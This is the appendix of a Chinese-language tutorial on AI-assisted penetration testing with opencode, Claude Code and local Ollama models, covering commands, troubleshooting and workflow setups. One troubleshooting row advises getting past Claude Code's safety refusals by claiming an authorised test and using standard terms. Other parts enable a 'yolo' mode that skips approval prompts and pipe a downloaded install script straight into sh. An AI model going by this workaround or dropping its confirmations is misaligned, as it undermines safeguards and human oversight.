# 自定义命令
opencode -c "/quick_scan 10.10.10.5" # 调用自定义命令
# 项目级操作
cd /path/to/project && opencode -p "理解这个项目的结构"
cd /path/to/project && opencode -p "给所有 Python 文件添加类型注解"
# 审批模式
opencode --approval-mode yolo -p "..." # 自动执行,不询问确认(谨慎!)附录 C: 故障排查
| 症状 | 原因 | 解决 |
|---|---|---|
opencode: command not found | 未安装 | yay -S opencode-ai-bin |
ANTHROPIC_API_KEY not set | 未配置 API key | export ANTHROPIC_API_KEY="sk-ant-..." 并写入 ~/.bashrc |
| opencode 输出乱码 | 终端编码问题 | export LANG=en_US.UTF-8 |
| opencode 执行命令时卡住 | 等待用户确认 | 在提示中键入 y 或使用 --approval-mode yolo |
ollama: command not found | 未安装 | curl -fsSL https://ollama.com/install.sh | sh |
| Ollama 下载模型很慢 | 网络问题 | 设置代理或从 HuggingFace 镜像下载后手动导入 |
| Ollama 推理很慢 | 模型太大/硬件不够 | 换小模型 (7B → 3B),或加内存/换 GPU |
| Claude Code拒绝请求 | 安全过滤 | 声明是授权安全测试,使用标准术语(见 3.1.3) |
| 本地模型分析结果不准确 | 模型能力不足 | 换更大的模型(14B 以上),或配合云端模型做交叉验证 |
| opencode 用了错误的默认模型 | 环境变量覆盖 | 检查 OPENCODE_MODEL 环境变量 |
附录 D: 推荐的工作流配置
场景一:日常渗透测试(全云端,速度快)
# .bashrc 配置
export ANTHROPIC_API_KEY="sk-ant-..."
alias ai="opencode" # 快捷别名使用方式:
ai -p "扫描 10.10.10.5 的 Web 端口并分析"
ai -p "根据这个漏洞描述生成 exploit"场景二:处理敏感客户数据(全本地,零泄露)
# .bashrc 配置
export OPENCODE_MODEL="ollama/qwen2.5:14b"
export OLLAMA_HOST="127.0.0.1:11434"
alias ai="opencode"
# 启动 Ollama
sudo systemctl start ollama使用方式:
ai -p "分析这份防火墙规则导出文件..."
ai -p "分析这份认证日志,找出可疑行为..."场景三:混合模式(开发用云端、分析敏感数据用本地)
# 两个别名,分别对应云端和本地
alias ai-cloud="ANTHROPIC_API_KEY=sk-ant-... opencode"
alias ai-local="OPENCODE_MODEL=ollama/qwen2.5:14b opencode"
# 日常开发
ai-cloud -p "写一个 Python SMB 扫描器"
# 敏感数据分析
ai-local -p "分析防火墙日志..."本教程编辑日期:2026-06-17
所有工具和靶场仅限授权安全测试使用。未经授权访问他人系统是违法行为。